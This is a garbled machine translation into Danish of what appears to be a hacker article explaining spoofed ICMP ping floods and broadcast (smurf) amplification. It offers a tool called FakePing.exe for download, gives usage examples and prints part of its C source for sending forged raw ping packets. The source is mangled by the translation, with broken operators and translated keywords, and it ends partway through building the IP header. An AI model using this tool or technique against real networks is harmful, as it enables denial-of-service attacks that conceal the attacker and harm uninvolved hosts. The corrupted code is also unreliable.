Ping IP-adresse oversvømmelser skjult angreb



For nylig, mange folk kalder dig igen for at gå med, hvad Ping døde, hvilket websted, men teknisk, uanset hvad denial of service "-angreb, er vi nødt til at opfylde en betingelse: med de mindst ressourcer til gengæld for at være den største forbrug af angriberen. Vi kan godt lide at gå med Ping er ikke kun mærkeligt: med den største udveksle deres ressourcer for hinanden mindst skade, og anmeldelsen er latterligt: folks krig handler om den handling, for 50 år siden, og på internettet æra, er ikke i stand til, hvor mange mennesker.

I dag er vi for Ping's, Ping er ved at sende ICMP-besked (type 8 kode 0) til at undersøge eksistensen af netværket værter et redskab, en lang tid siden, en del af operativsystemet (f.eks win95), er ikke godt behandlet med store Ping-pakker , hvilket resulterer i en Ping til Døden af angreb (Ping taske med et stort ruin hinanden eller med fyld netværket), med et operativsystem opgraderinger, båndbredde, opgradering, opgradering computer hardware, nu dybest set en meget stor Ping-pakker store angreb virkning (med undtagelse af distribuerede angreb), hvis vi skal bruge Ping-pakker til at angribe andre værter, medmindre den brug, TCP / IP-protokollen eller andre egenskaber ved netværkstopologien fleste forstærket intensiteten af angrebene (såkaldt positiv feedback)

Under normale omstændigheder proces Ping er på denne måde:

Host A sender pakker til værten ICMP 8,0 B

Host B sender tilbage indlæg til værten ICMP 0,0 A

Fordi ICMP var nogen forbindelse på, så giv os en chance, forudsat at værten er nu udgør som vært A sender ICMP 8,0 C pakker, hvis resultater, hvad der ville ske? Er klart, at værten B vært C sende denne rapport er papiret væk

Reaktion på vært C, følgende struktur:

C fejl maskeret som vært svar

Host A --------------------- Host B ------------------ Host C

Denne sag, som vært A kun behøver at holde sende Ping-pakker uden at skulle beskæftige sig med tilbagesendelse af EchoReply, så indsatsen har multipliceret angrebet, mens i virkeligheden er vært B og vært C skal mål for angreb, og vil ikke blive under eget varemærke, er en skjult angreb to fluer med ét smæk tilgang.

Metoder SOCK_RAW over IP kan nemt camouflage, men selv udvidet to gange, for de mere robuste operativsystemet og jo større båndbredde, og heller ikke har meget effekt, vi igen organiseret sport? Ikke lige, Lad fjenden til os for at forstørre Nå, TCP / IP i et koncept kaldet udsendelsen, den såkaldte betød tv, at der er en adresse, kan enhver vært i LAN vil blive sendt til denne adresse for at modtage beskeden (det samme som radioudsendelser) hvis? Do? Ja! Hvis vi går til en broadcast-adresse for at sende ICMP ECHO pakke (det er Ping udsendelsen adresse), vil resultatet blive en masse svar, Ethernet, så hver modtager en broadcast besked vil være vært for svar en ICMP_ECHOREPLY, hvis du ønsker at teste maskinen i unix Ping LAN broadcast-adresse, hvad du vil se en masse dup pakke reaktion er at gentage det svar, vinduer system, ikke den slags resultater, fordi Microsoft Ping program ikke reagerer på flere udpakket, den første modtog pakken efter faldt bag, og også Microsoft's system ikke reagerer på broadcast adresse på default-pakken, så du bedre i en masse unix vært LAN test.

Her smart Du ved hvad jeg vil gøre nu? Hey hey, ja, da vi blev angrebet forklædt som vært for en broadcast-adresse, når du sender Ping anmodninger, alle broadcast-adresse i værtslandet vil reagere på Ping anmodning Dette svarer til intensiteten af angrebene er N gange! (N = broadcast-adresse til at reagere på Ping-pakker inden for antallet af værter)

Maskeret som vært C er forkerte alle radiovært svar

Host A --------------------- broadcast-adresse ======================= == Host C

Jeg skrev en FakePing værktøj kan du Http: / / www.patching.net / shotgun / FakePing.exe download.

Skik er FakePing.exe FakeIP TargetIP [PacketSize], hvis TargetIP er broadcast-adresse, så FakeIP var målrettet.

Kilde annonceret som følger:

typedef struct _iphdr / / definition af IP header

(

unsigned char h_verlen / / 4 位 første minister grader, IP version 4

unsigned char tos / / 8 tjenester vil skrive TOS

unsigned short total_len; / / 16 median total længde (bytes)

unsigned short ident / / 16-bit identifikation

unsigned short frag_and_flags / / 3 flag bits

unsigned char TTL / / 8 median overlevelsestid på TTL

unsigned char proto / / 8-bit-protokol (TCP, UDP eller andet)

unsigned short checksum; / / 16 位 IP header checksum

unsigned int sourceIP; / / 32 digital kilde IP-adresse

unsigned int destIP; / / 32 位 formål IP-adresse

) IP_HEADER;

/ / Definer ICMP header

typedef struct _ihdr

(

BYTE i_type / / 8 bit type

BYTE i_code / / 8-bit kode

USHORT i_cksum / / 16 bit checksum

USHORT i_id / / identifikationsnummer (generelt med den proces, nummer som ID-nummer)

USHORT i_seq / / Besked sekvensnummer

ULONG tidsstempel; / / tidsstempel

) ICMP_HEADER;

/ / Checksum: beregning checksum Funktioner

USHORT checksum (USHORT * buffer, int størrelse)

(

unsigned long cksum = 0;

while (størrelse 1)

(

cksum + =* buffer + +;

størrelse -= sizeof (USHORT);

)

if (størrelse)

(

cksum + = * (UCHAR *) buffer;

)

cksum = (cksum 16) + (cksum & 0xFFFF);

cksum + = (cksum 16);

afkast (USHORT) (~ cksum);

)

/ / FakePing hovedfunktioner

int main (int argc, char ** argv)

(

int datasize, ErrorCode, tæller, flag;

int TimeOut = 2000, SendSEQ = 0, PacketSize = 32;

char SendBuf [65535] = (0);

WSADATA wsaData;

SOCKET SockRaw = (SOCKET) NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

ICMP_HEADER icmp_header;

char FakeSourceIp [20], DestIp [20];

/ / Accepter kommandolinjeparametre

if (argc 3)

(

printf ("FakePing af Shotgun

");

printf ("Dette program kan gøre Ping-Oversvømmelser fra en FakeIP

");

printf ("Brug en Broadcast IP som FakeIP vil øge effekten

");

printf ("E-mail:

");

printf ("Shotgun@Xici.Net

");

printf ("HomePage:

");

printf ("http://It.Xici.Net

");

printf ("http://www.Patching.Net

");

printf ("USAGE:

FakePing.exe FakeSourceIp DestinationIp [PacketSize]

");

printf ("Eksempel:

");

printf ("FakePing.exe 192.168.15.23 192.168.15.255

");

printf ("FakePing.exe 192.168.15.23 192.168.15.200 6.400

");

exit (0);

)

strcpy (FakeSourceIp, argv [1]);

strcpy (DestIp, argv [2]);

if (argc 3) PacketSize = atoi (argv [3]);

if (PacketSize 60000)

(

printf ("Fejl! Packet størrelse for stor, skal 60K

");

exit (0);

)

printf ("Nu Fake% s Ping% s bruger Packet size =% d bytes

"

FakeSourceIp, DestIp, PacketSize);

printf ("Ctrl + C for at afslutte

");

/ / Initialisér SOCK_RAW

if ((ErrorCode = WSAStartup (MAKEWORD (2,1), & wsaData))! = 0)

(

fprintf (stderr, "WSAStartup mislykkedes:% d

"ErrorCode);

ExitProcess (STATUS_FAILED);

)

if ((SockRaw = WSASocket (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)

(

fprintf (stderr, "WSASocket () mislykkedes:% d

"WSAGetLastError ());

ExitProcess (STATUS_FAILED);

)

flag = TRUE;

/ / Set IP_HDRINCL fylde IP header med deres egne

ErrorCode = setsockopt (SockRaw, IPPROTO_IP, IP_HDRINCL, (char *) & flag, sizeof (int));

if (ErrorCode == SOCKET_ERROR)

printf ("Set IP_HDRINCL Fejl!

");

__try

(

/ / Set send timeout

ErrorCode = setsockopt (SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) & TimeOut, sizeof (TimeOut));

if (ErrorCode == SOCKET_ERROR)

(

fprintf (stderr, "Kunne ikke sætte sende TimeOut:% d

"WSAGetLastError ());

__leave;

)

memset (& DestAddr, 0, sizeof (DestAddr));

DestAddr.sin_family = AF_INET;

DestAddr.sin_addr.s_addr = inet_addr (DestIp);

/ / Fyld IP header

ip_header.h_verlen = (4 4 | sizeof (ip_header) / sizeof (unsigned long)) / / høj 4 IP version nummer, den første minister i den lave grad af fire

ip_header.total_len = htons (sizeof (IP_HEADER) + sizeof (ICMP_HEADER)) / / 16 median total længde (bytes)

ip_header.ident = 1;

/ / 16 ID

ip_header.frag_and_flags = 0;

/ / 3 flag

ip_header.ttl = 128;

/ / 8-bit TTL overlevelse

ip_header.proto = IPPROTO_ICMP;